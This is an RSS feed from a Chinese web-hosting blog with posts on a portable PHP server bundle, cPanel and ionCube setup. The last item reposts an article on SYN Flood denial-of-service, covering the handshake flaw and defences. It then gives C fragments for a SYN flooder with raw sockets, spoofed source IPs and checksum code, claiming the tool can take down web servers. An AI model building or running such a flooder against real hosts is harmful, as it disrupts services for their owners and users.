<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>柠檬工作室 &#187; 虚拟主机</title>
	<atom:link href="http://www.crazylemon.net/category/web/feed" rel="self" type="application/rss+xml" />
	<link>http://www.crazylemon.net</link>
	<description>上帝无用，天使无用</description>
	<lastBuildDate>Thu, 17 Nov 2011 19:39:10 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>ESSamp</title>
		<link>http://www.crazylemon.net/web/3880.html</link>
		<comments>http://www.crazylemon.net/web/3880.html#comments</comments>
		<pubDate>Fri, 10 Jun 2011 04:03:31 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[虚拟主机]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3880</guid>
		<description><![CDATA[ESSamp是一款拥有图形界面的快速搭建网站服务器平台的绿色软件。 Packages – 绿色 PHP 环境包 ESSamp=Apache+MySQL+PHP随时随地搭建网站平台 您只需下载并解压ESSamp就能完成安装，如果您觉得不再需要ESSamp，只需直接将其目录删除，就完成卸载了。 该程序包集成最新的Apache+MySQL+PHP+phpMyAdmin+ZendOptimizer+eAccelerator，无须安装，无须配置即可轻松选择并启动服务器、管理网站程序和数据库、开通虚拟主机并通过友好的自动和人工模式来设置相关属性和安全维护、优化数据库、端口管理及其它服务设置。 ESSamp最大的特色在于它良好的可移动性，你可以把它无所顾忌的放在任何一个磁盘、目录里甚至是移动硬盘等，只要是可以安放它的地方，照样使用。有了它，轻松拥有属于自己的网站平台，将不再是奢望。 ESSamp这款软件经过改装后，更类似与IIS，这样apache这样的复杂软件就可以界面化基本操作了！ 注意事项： 1、ESSamp程序所在路径不能含有汉字和空格。 2、MySQL默认用户名：root，密码为空。 3、ESSamp集成了以下软件：Apache 2.2.9/PHP 5.2.6/MySQL 5.1.26/phpMyAdmin 2.11.8/ZendOptimizer 3.3.3 有必要掌握手动配置 PHP ，ESSamp只是为你减少重复的动作。请尝试自己搭建 PHP 环境，参考参考相关权威文档。 这东西不错，坪盘村那土人说的 ESSamp 随机日志06/20/2009 -- 了解 linux 磁盘结构及分区 (0)02/06/2009 -- 在不停止Nginx服务的情况下平滑变更Nginx配置 (0)06/06/2009 -- wordpress 时间的调整 (1)06/06/2009 -- Linux用户管理（涉及命令及配置文件） (0)06/29/2009 -- system(),passthru(),exec() 函数区别 (0)]]></description>
			<content:encoded><![CDATA[<p>ESSamp是一款拥有图形界面的快速搭建网站服务器平台的绿色软件。</p>
<h1>Packages – 绿色 PHP 环境包</h1>
<h1>ESSamp=Apache+MySQL+PHP随时随地搭建网站平台</h1>
<p>您只需下载并解压ESSamp就能完成安装，如果您觉得不再需要ESSamp，只需直接将其目录删除，就完成卸载了。</p>
<p>该程序包集成最新的Apache+MySQL+PHP+phpMyAdmin+ZendOptimizer+eAccelerator，无须安装，无须配置即可轻松选择并启动服务器、管理网站程序和数据库、开通虚拟主机并通过友好的自动和人工模式来设置相关属性和安全维护、优化数据库、端口管理及其它服务设置。</p>
<p>ESSamp最大的特色在于它良好的可移动性，你可以把它无所顾忌的放在任何一个磁盘、目录里甚至是移动硬盘等，只要是可以安放它的地方，照样使用。有了它，轻松拥有属于自己的网站平台，将不再是奢望。</p>
<p>ESSamp这款软件经过改装后，更类似与IIS，这样apache这样的复杂软件就可以界面化基本操作了！</p>
<p>注意事项：<br />
1、ESSamp程序所在路径不能含有汉字和空格。<br />
2、MySQL默认用户名：root，密码为空。<br />
3、ESSamp集成了以下软件：Apache 2.2.9/PHP 5.2.6/MySQL 5.1.26/phpMyAdmin 2.11.8/ZendOptimizer 3.3.3</p>
<p>有必要掌握手动配置 PHP ，ESSamp只是为你减少重复的动作。请尝试自己搭建 PHP 环境，参考参考相关权威文档。</p>
<p>这东西不错，坪盘村那土人说的</p>
<p><a href="http://essamp.org/" target="_blank">ESSamp</a></p>
<h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>06/19/2010 -- <a href="http://www.crazylemon.net/php/3215.html" title="php 实时显示输出">php 实时显示输出</a> (2)</li><li>09/20/2009 -- <a href="http://www.crazylemon.net/php/1968.html" title="更改phpmyadmin导入数据库文件最大限制的方法 ">更改phpmyadmin导入数据库文件最大限制的方法 </a> (0)</li><li>07/10/2009 -- <a href="http://www.crazylemon.net/linux/1094.html" title="linux配置sendmail支持php mail函数">linux配置sendmail支持php mail函数</a> (0)</li><li>05/31/2009 -- <a href="http://www.crazylemon.net/seo/335.html" title="SEO插件 &#8211; 20个最好的Wordpress SEO 插件">SEO插件 &#8211; 20个最好的Wordpress SEO 插件</a> (3)</li><li>04/07/2010 -- <a href="http://www.crazylemon.net/wordpress/3041.html" title="给wordpress数据库减肥,清理wordpress文章历史版本">给wordpress数据库减肥,清理wordpress文章历史版本</a> (3)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/web/3880.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>CentOS 安装cPanel</title>
		<link>http://www.crazylemon.net/web/3778.html</link>
		<comments>http://www.crazylemon.net/web/3778.html#comments</comments>
		<pubDate>Mon, 29 Nov 2010 22:06:15 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[虚拟主机]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3778</guid>
		<description><![CDATA[购置了一台独立主机，这次老外并没有帮我装好cPanel，而是要我自己登SSH进去执行安装命令： You first have to login to your server via SSH and setup your server hostname. Once done type: sh /root/latest This will initiate your server cPanel installation and should be ready within 30-40 minutes. 命令是： sh /root/latest 就可以自行安装WHM/cPanel系统了，这个脚本应该是服务器商设定好的 老外很不遵守规则，买了几台，没有一台正常的，要么迟到，要么没装好cPanel，要么cPanel License过期 随机日志01/20/2011 -- PHP curl 处理ssl地址 (0)01/03/2010 -- zen cart classic 模板左栏跳动问题 (0)06/06/2009 -- Linux用户管理（涉及命令及配置文件） (0)06/29/2010 [...]]]></description>
			<content:encoded><![CDATA[<p>购置了一台独立主机，这次老外并没有帮我装好cPanel，而是要我自己登SSH进去执行安装命令：</p>
<p>You first have to login to your server via SSH and setup your server hostname. Once done type: sh /root/latest</p>
<p>This will initiate your server cPanel installation and should be ready within 30-40 minutes.</p>
<p>命令是： sh /root/latest</p>
<p>就可以自行安装WHM/cPanel系统了，这个脚本应该是服务器商设定好的</p>
<p>老外很不遵守规则，买了几台，没有一台正常的，要么迟到，要么没装好cPanel，要么cPanel License过期</p>
<h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>08/16/2009 -- <a href="http://www.crazylemon.net/work/1619.html" title="RTX（腾讯通） 2009beta1 Bug大全">RTX（腾讯通） 2009beta1 Bug大全</a> (0)</li><li>06/07/2009 -- <a href="http://www.crazylemon.net/linux/523.html" title="RAR for Linux 命令详解">RAR for Linux 命令详解</a> (0)</li><li>08/11/2009 -- <a href="http://www.crazylemon.net/php/1565.html" title="解决phpmyadmin“登陆超时（1440秒未活动），请重新登录”问题 ">解决phpmyadmin“登陆超时（1440秒未活动），请重新登录”问题 </a> (0)</li><li>10/26/2010 -- <a href="http://www.crazylemon.net/php/3699.html" title="GSPAY支付模块接口文档及测试方法">GSPAY支付模块接口文档及测试方法</a> (0)</li><li>06/02/2009 -- <a href="http://www.crazylemon.net/linux/375.html" title="linux psaadm 用户——什么是Plesk">linux psaadm 用户——什么是Plesk</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/web/3778.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>FUCK 某荷兰主机商</title>
		<link>http://www.crazylemon.net/web/3774.html</link>
		<comments>http://www.crazylemon.net/web/3774.html#comments</comments>
		<pubDate>Tue, 23 Nov 2010 16:19:49 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[虚拟主机]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3774</guid>
		<description><![CDATA[如题，我日！！！ 随机日志02/06/2009 -- php复制一个文件夹下的所有内容到另一个文件夹 (0)10/06/2009 -- 外贸网站SEO优化的要点（不断更新） (7)10/31/2010 -- 如何让PNG格式的透明图片在IE6下正常显示 (0)11/13/2009 -- SEO点金论坛成立 (3)02/12/2009 -- pure-ftpd.conf设置 (0)]]></description>
			<content:encoded><![CDATA[<p>如题，我日！！！</p>
<h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>06/29/2009 -- <a href="http://www.crazylemon.net/seo/890.html" title="google 官方 PR 值查询接口">google 官方 PR 值查询接口</a> (1)</li><li>09/22/2009 -- <a href="http://www.crazylemon.net/php/1996.html" title="bluehost的php.ini配置">bluehost的php.ini配置</a> (0)</li><li>01/21/2009 -- <a href="http://www.crazylemon.net/linux/7.html" title="Linux目录结构">Linux目录结构</a> (0)</li><li>10/31/2009 -- <a href="http://www.crazylemon.net/zencart/2339.html" title="zen cart xml sitemap更新">zen cart xml sitemap更新</a> (1)</li><li>09/16/2009 -- <a href="http://www.crazylemon.net/web/1924.html" title="bluehost主机无法通过php使用自己的SMTP服务">bluehost主机无法通过php使用自己的SMTP服务</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/web/3774.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Win平台下安装ionCube</title>
		<link>http://www.crazylemon.net/web/3767.html</link>
		<comments>http://www.crazylemon.net/web/3767.html#comments</comments>
		<pubDate>Mon, 22 Nov 2010 12:27:35 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[虚拟主机]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3767</guid>
		<description><![CDATA[ioncube下载地址： http://downloads.ioncube.com/loader_downloads/ioncube_loaders_win_x86.zip 安装方法，解压文件，复制需要的ioncube版本到相应目录，然后在php.ini配置里加入 zend_extension_ts = "E:\APMServ5.2.6\PHP\ioncube\ioncube_loader_win_5.2.dll" 具体路径视个人情况改动 在运行WHMCS时需要用到ioncube 随机日志05/31/2009 -- php二级联动下拉框的javascript (0)07/18/2009 -- .htaccess使用指南 (0)12/12/2009 -- CrazyLemon昨晚发新公告 域名注册将不对个人开放 (1)09/12/2009 -- Zen Cart Tagline Here 和 Sales Message Goes Here 修改 (0)11/16/2011 -- 解决删除下载到一半的ipad APP方法 (0)]]></description>
			<content:encoded><![CDATA[<p>ioncube下载地址：</p>
<p><a href="http://downloads.ioncube.com/loader_downloads/ioncube_loaders_win_x86.zip">http://downloads.ioncube.com/loader_downloads/ioncube_loaders_win_x86.zip</a></p>
<p>安装方法，解压文件，复制需要的ioncube版本到相应目录，然后在php.ini配置里加入</p>
<p><code>zend_extension_ts = "E:\APMServ5.2.6\PHP\ioncube\ioncube_loader_win_5.2.dll"</code></p>
<p><code>具体路径视个人情况改动</code></p>
<p><code>在运行WHMCS时需要用到ioncube</code></p>
<h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>01/22/2009 -- <a href="http://www.crazylemon.net/linux/18.html" title="Linux下关闭和开启防火墙命令 ">Linux下关闭和开启防火墙命令 </a> (0)</li><li>10/20/2009 -- <a href="http://www.crazylemon.net/seo/2241.html" title="google沙盒">google沙盒</a> (6)</li><li>11/10/2010 -- <a href="http://www.crazylemon.net/php/3736.html" title="php实现域名(URL)转发">php实现域名(URL)转发</a> (0)</li><li>06/06/2009 -- <a href="http://www.crazylemon.net/linux/513.html" title="linux &#8211; killall &#8211; 以名字方式来杀死进程">linux &#8211; killall &#8211; 以名字方式来杀死进程</a> (0)</li><li>01/26/2010 -- <a href="http://www.crazylemon.net/windows/2856.html" title="解决不允许一个用户使用一个以上用户名与一个服务器或共享资源的多重连接">解决不允许一个用户使用一个以上用户名与一个服务器或共享资源的多重连接</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/web/3767.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SYN Flood攻击的基本原理及防御（转）</title>
		<link>http://www.crazylemon.net/web/3758.html</link>
		<comments>http://www.crazylemon.net/web/3758.html#comments</comments>
		<pubDate>Sun, 14 Nov 2010 19:33:25 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[虚拟主机]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3758</guid>
		<description><![CDATA[创建时间：2001-06-28 文章属性：转载 文章来源：http://shotgun.patching.net/syn.htm 文章提交：xundi (xundi_at_xfocus.org) Shotgun 首发于天极网 第一部分 SYN Flood的基本原理    SYN Flood是当前最流行的DoS（拒绝服务攻击）与DDoS（分布式拒绝服务攻击）的方式之一，这是一种利用TCP协议缺陷，发送大量伪造的TCP连接请求，从而使得被攻击方资源耗尽（CPU满负荷或内存不足）的攻击方式。    要明白这种攻击的基本原理，还是要从TCP连接建立的过程开始说起： 大家都知道，TCP与UDP不同，它是基于连接的，也就是说：为了在服务端和客户端之间传送TCP数据，必须先建立一个虚拟电路，也就是TCP连接，建立TCP连接的标准过程是这样的： 首先，请求端（客户端）发送一个包含SYN标志的TCP报文，SYN即同步（Synchronize），同步报文会指明客户端使用的端口以及TCP连接的初始序号； 第二步，服务器在收到客户端的SYN报文后，将返回一个SYN+ACK的报文，表示客户端的请求被接受，同时TCP序号被加一，ACK即确认（Acknowledgement）。 第三步，客户端也返回一个确认报文ACK给服务器端，同样TCP序列号被加一，到此一个TCP连接完成。 以上的连接过程在TCP协议中被称为三次握手（Three-way Handshake）。    问题就出在TCP连接的三次握手中，假设一个用户向服务器发送了SYN报文后突然死机或掉线，那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的（第三次握手无法完成），这种情况下服务器端一般会重试（再次发送SYN+ACK给客户端）并等待一段时间后丢弃这个未完成的连接，这段时间的长度我们称为SYN Timeout，一般来说这个时间是分钟的数量级（大约为30秒-2分钟）；一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题，但如果有一个恶意的攻击者大量模拟这种情况，服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源&#8212;-数以万计的半连接，即使是简单的保存并遍历也会消耗非常多的CPU时间和内存，何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大，最后的结果往往是堆栈溢出崩溃&#8212;即使服务器端的系统足够强大，服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求（毕竟客户端的正常请求比率非常之小），此时从正常客户的角度看来，服务器失去响应，这种情况我们称作：服务器端受到了SYN Flood攻击（SYN洪水攻击）。    从防御角度来说，有几种简单的解决方法，第一种是缩短SYN Timeout时间，由于SYN Flood攻击的效果取决于服务器上保持的SYN半连接数，这个值=SYN攻击的频度 x  SYN Timeout，所以通过缩短从接收到SYN报文到确定这个报文无效并丢弃改连接的时间，例如设置为20秒以下（过低的SYN Timeout设置可能会影响客户的正常访问），可以成倍的降低服务器的负荷。     第二种方法是设置SYN Cookie，就是给每一个请求连接的IP地址分配一个Cookie，如果短时间内连续受到某个IP的重复SYN报文，就认定是受到了攻击，以后从这个IP地址来的包会被一概丢弃。     可是上述的两种方法只能对付比较原始的SYN Flood攻击，缩短SYN Timeout时间仅在对方攻击频度不高的情况下生效，SYN Cookie更依赖于对方使用真实的IP地址，如果攻击者以数万/秒的速度发送SYN报文，同时利用SOCK_RAW随机改写IP报文中的源地址，以上的方法将毫无用武之地。                         第二部份 SYN Flooder源码解读        下面我们来分析SYN Flooder的程序实现。 首先，我们来看一下TCP报文的格式：    0         [...]]]></description>
			<content:encoded><![CDATA[<p>创建时间：2001-06-28<br />
文章属性：转载<br />
文章来源：http://shotgun.patching.net/syn.htm<br />
文章提交：<a href="https://www.xfocus.net/bbs/index.php?lang=cn&amp;act=Profile&amp;do=03&amp;MID=3">xundi</a> (xundi_at_xfocus.org)</p>
<p>Shotgun</p>
<p>首发于天极网</p>
<p>第一部分 SYN Flood的基本原理</p>
<p>  </p>
<p>SYN Flood是当前最流行的DoS（拒绝服务攻击）与DDoS（分布式拒绝服务攻击）的方式之一，这是一种利用TCP协议缺陷，发送大量伪造的TCP连接请求，从而使得被攻击方资源耗尽（CPU满负荷或内存不足）的攻击方式。</p>
<p>  </p>
<p>要明白这种攻击的基本原理，还是要从TCP连接建立的过程开始说起：</p>
<p>大家都知道，TCP与UDP不同，它是基于连接的，也就是说：为了在服务端和客户端之间传送TCP数据，必须先建立一个虚拟电路，也就是TCP连接，建立TCP连接的标准过程是这样的：</p>
<p>首先，请求端（客户端）发送一个包含SYN标志的TCP报文，SYN即同步（Synchronize），同步报文会指明客户端使用的端口以及TCP连接的初始序号；</p>
<p>第二步，服务器在收到客户端的SYN报文后，将返回一个SYN+ACK的报文，表示客户端的请求被接受，同时TCP序号被加一，ACK即确认（Acknowledgement）。</p>
<p>第三步，客户端也返回一个确认报文ACK给服务器端，同样TCP序列号被加一，到此一个TCP连接完成。</p>
<p>以上的连接过程在TCP协议中被称为三次握手（Three-way Handshake）。</p>
<p>  </p>
<p>问题就出在TCP连接的三次握手中，假设一个用户向服务器发送了SYN报文后突然死机或掉线，那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的（第三次握手无法完成），这种情况下服务器端一般会重试（再次发送SYN+ACK给客户端）并等待一段时间后丢弃这个未完成的连接，这段时间的长度我们称为SYN Timeout，一般来说这个时间是分钟的数量级（大约为30秒-2分钟）；一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题，但如果有一个恶意的攻击者大量模拟这种情况，服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源&#8212;-数以万计的半连接，即使是简单的保存并遍历也会消耗非常多的CPU时间和内存，何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大，最后的结果往往是堆栈溢出崩溃&#8212;即使服务器端的系统足够强大，服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求（毕竟客户端的正常请求比率非常之小），此时从正常客户的角度看来，服务器失去响应，这种情况我们称作：服务器端受到了SYN Flood攻击（SYN洪水攻击）。</p>
<p>  </p>
<p>从防御角度来说，有几种简单的解决方法，第一种是缩短SYN Timeout时间，由于SYN Flood攻击的效果取决于服务器上保持的SYN半连接数，这个值=SYN攻击的频度 x  SYN Timeout，所以通过缩短从接收到SYN报文到确定这个报文无效并丢弃改连接的时间，例如设置为20秒以下（过低的SYN Timeout设置可能会影响客户的正常访问），可以成倍的降低服务器的负荷。</p>
<p>    第二种方法是设置SYN Cookie，就是给每一个请求连接的IP地址分配一个Cookie，如果短时间内连续受到某个IP的重复SYN报文，就认定是受到了攻击，以后从这个IP地址来的包会被一概丢弃。</p>
<p>    可是上述的两种方法只能对付比较原始的SYN Flood攻击，缩短SYN Timeout时间仅在对方攻击频度不高的情况下生效，SYN Cookie更依赖于对方使用真实的IP地址，如果攻击者以数万/秒的速度发送SYN报文，同时利用SOCK_RAW随机改写IP报文中的源地址，以上的方法将毫无用武之地。</p>
<p>  </p>
<p>  </p>
<p>  </p>
<p>  </p>
<p>  </p>
<p>  </p>
<p>  </p>
<p>  </p>
<p>第二部份 SYN Flooder源码解读</p>
<p>  </p>
<p>    下面我们来分析SYN Flooder的程序实现。</p>
<p>首先，我们来看一下TCP报文的格式：</p>
<p>  </p>
<p>0         1         2         3         4         5         6</p>
<p>    0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4</p>
<p>    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>   |      ＩＰ首部      |    ＴＣＰ首部      |    ＴＣＰ数据段　　  |</p>
<p>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>              图一 TCP报文结构</p>
<p>  </p>
<p>如上图所示，一个TCP报文由三个部分构成：20字节的IP首部、20字节的TCP首部与不定长的数据段，（实际操作时可能会有可选的IP选项，这种情况下TCP首部向后顺延）由于我们只是发送一个SYN信号，并不传递任何数据，所以TCP数据段为空。TCP首部的数据结构为：</p>
<p>  </p>
<p>   0                   1                   2                   3  </p>
<p>   0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2</p>
<p>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>   |             十六位源端口号    |           十六位目标端口号    |</p>
<p>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>   |                        三十二位序列号                         |</p>
<p>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>   |                        三十二位确认号                         |</p>
<p>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>   | 四位  |           |U|A|P|R|S|F|                               |</p>
<p>   | 首部  |六位保留位 |R|C|S|S|Y|I|         十六位窗口大小        |</p>
<p>   | 长度  |           |G|K|H|T|N|N|                               |</p>
<p>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>   |           十六位校验和        |         十六位紧急指针        |</p>
<p>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>   |                          选项（若有）                         |</p>
<p>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>   |                          数据（若有）                         |</p>
<p>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>                      图二  TCP首部结构</p>
<p>  </p>
<p>根据TCP报文格式，我们定义一个结构TCP_HEADER用来存放TCP首部：</p>
<p>typedef struct _tcphdr              </p>
<p>{</p>
<p>        USHORT th_sport;               //16位源端口</p>
<p>    USHORT th_dport;             //16位目的端口</p>
<p>        unsigned int th_seq;         //32位序列号</p>
<p>        unsigned int th_ack;         //32位确认号</p>
<p>        unsigned char th_lenres;        //4位首部长度+6位保留字中的4位</p>
<p>        unsigned char th_flag;            //2位保留字+6位标志位</p>
<p>        USHORT th_win;                 //16位窗口大小</p>
<p>        USHORT th_sum;                 //16位校验和</p>
<p>        USHORT th_urp;                 //16位紧急数据偏移量</p>
<p>}TCP_HEADER;</p>
<p>通过以正确的数据填充这个结构并将TCP_HEADER.th_flag赋值为2（二进制的00000010）我们能制造一个SYN的TCP报文，通过大量发送这个报文可以实现SYN Flood的效果。但是为了进行IP欺骗从而隐藏自己，也为了躲避服务器的SYN Cookie检查，还需要直接对IP首部进行操作：</p>
<p>0                   1                   2                   3  </p>
<p>   0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2</p>
<p>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>   | 版本  | 长度  | 八位服务类型  |         十六位总长度          |</p>
<p>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>   |           十六位标识          | 标志|   十三位片偏移　　      |</p>
<p>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>   | 八位生存时间  |   八位协议    |         十六位首部校验和      |</p>
<p>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>   |                      三十二位源ＩＰ地址                   　　|</p>
<p>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>   |                     三十二位目的ＩＰ地址                      |</p>
<p>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>   |                          选项（若有）                         |</p>
<p>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>   |                          　　数据　　                         |</p>
<p>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</p>
<p>                        图三  IP首部结构</p>
<p>同样定义一个IP_HEADER来存放IP首部</p>
<p>typedef struct _iphdr</p>
<p>{</p>
<p>        unsigned char h_verlen;            //4位首部长度+4位IP版本号</p>
<p>        unsigned char tos;               //8位服务类型TOS</p>
<p>        unsigned short total_len;      //16位总长度（字节）</p>
<p>        unsigned short ident;            //16位标识</p>
<p>        unsigned short frag_and_flags;  //3位标志位</p>
<p>        unsigned char  ttl;              //8位生存时间 TTL</p>
<p>        unsigned char proto;         //8位协议号(TCP, UDP 或其他)</p>
<p>        unsigned short checksum;        //16位IP首部校验和</p>
<p>        unsigned int sourceIP;            //32位源IP地址</p>
<p>        unsigned int destIP;         //32位目的IP地址</p>
<p>}IP_HEADER;</p>
<p>然后通过SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));</p>
<p>    建立一个原始套接口，由于我们的IP源地址是伪造的，所以不能指望系统帮我们计算IP校验和，我们得在在setsockopt中设置IP_HDRINCL告诉系统自己填充IP首部并自己计算校验和：</p>
<p>    flag=TRUE;</p>
<p>    setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&amp;flag,sizeof(int));</p>
<p>IP校验和的计算方法是：首先将IP首部的校验和字段设为0（IP_HEADER.checksum=0）,然后计算整个IP首部（包括选项）的二进制反码的和，一个标准的校验和函数如下所示：</p>
<p>USHORT checksum(USHORT *buffer, int size)</p>
<p>{</p>
<p>unsigned long cksum=0;</p>
<p>        while(size &gt;1) {</p>
<p>            cksum+=*buffer++;</p>
<p>            size -=sizeof(USHORT);</p>
<p>        }</p>
<p>        if(size ) cksum += *(UCHAR*)buffer;</p>
<p>    cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);</p>
<p>        cksum += (cksum &gt;&gt;16);</p>
<p>        return (USHORT)(~cksum);</p>
<p>}</p>
<p>这个函数并没有经过任何的优化，由于校验和函数是TCP/IP协议中被调用最多函数之一，所以一般说来，在实现TCP/IP栈时，会根据操作系统对校验和函数进行优化。</p>
<p>TCP首部检验和与IP首部校验和的计算方法相同，在程序中使用同一个函数来计算。</p>
<p>需要注意的是，由于TCP首部中不包含源地址与目标地址等信息，为了保证TCP校验的有效性，在进行TCP校验和的计算时，需要增加一个TCP伪首部的校验和，定义如下：</p>
<p>struct                        </p>
<p>{</p>
<p>        unsigned long saddr;     //源地址</p>
<p>        unsigned long daddr;     //目的地址</p>
<p>        char mbz;                    //置空</p>
<p>        char ptcl;                   //协议类型</p>
<p>        unsigned short tcpl;     //TCP长度</p>
<p>}psd_header;</p>
<p>然后我们将这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和：</p>
<p>memcpy(SendBuf,&amp;psd_header,sizeof(psd_header));  </p>
<p>    memcpy(SendBuf+sizeof(psd_header),&amp;tcp_header,sizeof(tcp_header));</p>
<p>    tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));</p>
<p>计算IP校验和的时候不需要包括TCP伪首部：</p>
<p>memcpy(SendBuf,&amp;ip_header,sizeof(ip_header));</p>
<p>    memcpy(SendBuf+sizeof(ip_header),&amp;tcp_header,sizeof(tcp_header));</p>
<p>    ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header));</p>
<p>    再将计算过校验和的IP首部与TCP首部复制到同一个缓冲区中就可以直接发送了：</p>
<p>    memcpy(SendBuf,&amp;ip_header,sizeof(ip_header));</p>
<p>    sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &amp;DestAddr,sizeof(DestAddr));</p>
<p>  </p>
<p>因为整个TCP报文中的所有部分都是我们自己写入的（操作系统不会做任何干涉），所以我们可以在IP首部中放置随机的源IP地址，如果伪造的源IP地址确实有人使用，他在接收到服务器的SYN+ACK报文后会发送一个RST报文（标志位为00000100），通知服务器端不需要等待一个无效的连接，可是如果这个伪造IP并没有绑定在任何的主机上，不会有任何设备去通知主机该连接是无效的（这正是TCP协议的缺陷），主机将不断重试直到SYN Timeout时间后才能丢弃这个无效的半连接。所以当攻击者使用主机分布很稀疏的IP地址段进行伪装IP的SYN Flood攻击时，服务器主机承受的负荷会相当的高，根据测试，一台PIII 550MHz+128MB+100Mbps的机器使用经过初步优化的SYN Flooder程序可以以16,000包/秒的速度发送TCP SYN报文，这样的攻击力已经足以拖垮大部分WEB服务器了。</p>
